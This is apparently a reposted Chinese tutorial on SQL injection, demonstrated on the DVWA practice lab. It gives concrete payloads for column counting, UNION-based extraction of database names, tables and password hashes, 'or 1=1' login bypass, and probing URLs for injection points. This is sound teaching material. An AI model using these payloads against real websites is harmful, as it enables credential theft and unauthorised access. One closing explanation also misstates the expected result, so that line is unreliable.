SQL注入

Posted bell1991

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入相关的知识,希望对你有一定的参考价值。

一、原理

Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。

二、Web 程序三层架构

三层架构(3-tier architecture) 通常意义上就是将整个业务应用划分为:

  • 界面层(User Interface layer)

  • 业务逻辑层(Business Logic Layer)

  • 数据访问层(Data access layer)。

区分层次的目的即为了“高内聚低耦合”的思想。在软件体系架构设计中,分层式结构是最常见,也是最重要的一种结构被应用于众多类型的软件开发。

在上图中,用户访问实验楼主页进行了如下过程:

  • 在 Web 浏览器中输入 www.shiyanlou.com 连接到实验楼服务器。

  • 业务逻辑层的 Web 服务器从本地存储中加载 index.php 脚本并解析。

  • 脚本连接位于数据访问层的 DBMS(数据库管理系统),并执行 Sql语句。

  • 数据访问层的数据库管理系统返回 Sql 语句执行结果给 Web 服务器。

  • 业务逻辑层的 Web 服务器将 Web 页面封装成 html 格式发送给表示层的 Web 浏览器。

  • 表示层的 Web 浏览器解析 HTML 文件,将内容展示给用户。

三、SQL注入

刚刚讲过当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。

这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句,如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。

Sql 注入带来的威胁主要有如下几点

  • 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
  • 绕过认证,列如绕过验证登录网站后台。
  • 注入可以借助数据库的存储过程进行提权等操作

Sql 注入示例一.猜解数据库

SELECT first_name, last_name FROM users WHERE user_id = \'1\';

我们是通过控制参数Id的值来返回我们需要的信息。

如果我们不按常理出牌,比如在输入框中输入 1\' order by 1#

实际执行的Sql语句就会变成:

SELECT first_name, last_name FROM users WHERE user_id = \'1\' order by 1#`;(按照mysql语法,#后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误)

这条语句的意思是查询users表中user_id为1的数据并按第一字段排行。

输入 1\' order by 1#和 1\' order by 2#时都返回正常:

当输入 1\' order by 3#时,返回错误:

由此可知,users表中只有两个字段,数据为两列。

接下来我们使用 union select联合查询继续获取信息。

union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同,而我们之前已经知道了主查询列数为 2,接下来就好办了。

输入1\' union select database(),user()#进行查询 :

  • database()将会返回当前网站所使用的数据库名字.
  • user()将会返回执行当前查询的用户名.

实际执行的Sql语句是 :

SELECT first_name, last_name FROM users WHERE user_id = \'1\' union select database(),user()#`;

同理我们再输入 1\' union select version(),@@version_compile_os#进行查询:

  • version() 获取当前数据库版本.
  • @@version_compile_os 获取当前操作系统。

实际执行的Sql语句是:

SELECT first_name, last_name FROM users WHERE user_id = \'1\' union select version(),@@version_compile_os#`;

通过上图返回信息,我们又成功获取到:

  • 当前数据库版本为 : 5.6.31-0ubuntu0.15.10.1.
  • 当前操作系统为 : debian-linux-gnu

接下来我们尝试获取 dvwa 数据库中的表名。

information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。

我们输入1\' union select table_name,table_schema from information_schema.tables where table_schema= \'dvwa\'#进行查询:

实际执行的Sql语句是:

SELECT first_name, last_name FROM users WHERE user_id = \'1\' union select table_name,table_schema from information_schema.tables where table_schema= \'dvwa\'#`;

我们再获取到:

  • dvwa 数据库有两个数据表,分别是 guestbook 和 users .

那么我们接下来尝试获取重量级的用户名、密码。

由经验我们可以大胆猜测users表的字段为 user 和 password ,所以输入:1\' union select user,password from users#进行查询:

实际执行的 Sql 语句是:

SELECT first_name, last_name FROM users WHERE user_id = \'1\' union select user,password from users#`;

可以看到成功爆出用户名、密码,密码采用 md5 进行加密,可以到www.cmd5.com进行解密。

Sql 注入实例二.验证绕过

账号密码登录的实例

select * from users where username=\'123\' and password=\'123\'

当查询到数据表中存在同时满足 username 和 password 字段时,会返回登录成功。

按照第一个实验的思路,我们尝试在用户名中输入 123\' or 1=1 #, 密码同样输入 123\' or 1=1 # :

实际执行的语句是:select * from users where username=\'123\' or 1=1 #\' and password=\'123\' or 1=1 #\'

select * from users where username=\'123\' or 1=1

由于判断语句 or 1=1 恒成立,所以结果当然返回真,成功登录。

我们再尝试不使用 # 屏蔽单引号,采用手动闭合的方式:

我们尝试在用户名中输入 123\' or \'1\'=\'1, 密码同样输入 123\' or \'1\'=\'1 (不能少了单引号,否则会有语法错误):

select * from users where username=\'123\' or \'1\'=\'1\' and password=\'123\' or \'1\'=\'1`

 四、判断 Sql 注入点

通常情况下,可能存在 Sql 注入漏洞的 Url 是类似这种形式 :http://xxx.xxx.xxx/abcd.php?id=XX

对 Sql 注入的判断,主要有两个方面:

  • 判断该带参数的 Url 是否存在 Sql 注入?
  • 如果存在 Sql 注入,那么属于哪种 Sql 注入?

 1、判断是否存在 Sql 注入漏洞

最为经典的单引号判断法:

在参数后面加上单引号,比如:

http://xxx/abc.php?id=1\'

如果页面返回错误,则存在 Sql 注入。

原因是无论字符型还是整型都会因为单引号个数不匹配而报错。

(如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤)

2、判断 Sql 注入漏洞的类型

通常 Sql 注入漏洞分为 2 种类型:

  • 数字型
  • 字符型

2.1 数字型判断:

当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:

select * from <表名> where id = x

这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

    1. Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
    1. Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

原因如下:

当输入 and 1=1时,后台执行 Sql 语句:

select * from <表名> where id = x and 1=1

select * from <表名> where id = x and 1=2

 

2.2 字符型判断:

当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:

select * from <表名> where id = \'x\'

这种类型我们同样可以使用 and \'1\'=\'1 和 and \'1\'=\'2来判断:

    1. Url 地址中输入 http://xxx/abc.php?id= x\' and \'1\'=\'1 页面运行正常,继续进行下一步。
    1. Url 地址中继续输入 http://xxx/abc.php?id= x\' and \'1\'=\'2 页面运行错误,则说明此 Sql 注入为字符型注入。

原因如下:

当输入 and \'1\'=\'1时,后台执行 Sql 语句:

select * from <表名> where id = \'x\' and \'1\'=\'1\'

 

语法正确,逻辑判断正确,所以返回正确。

当输入 and \'1\'=\'2时,后台执行 Sql 语句:

select * from <表名> where id = \'x\' and \'1\'=\'2\'

语法正确,但逻辑判断错误,所以返回正确。

 

以上是关于SQL注入的主要内容,如果未能解决你的问题,请参考以下文章

MyBatis如何防止SQL注入

MyBatis怎么防止SQL注入

mybatis以及预编译如何防止SQL注入

手机只需发条消息即可开始大规模SQL注入攻击

4个单词,谷歌返回16个SQL注入漏洞

基于约束的SQL攻击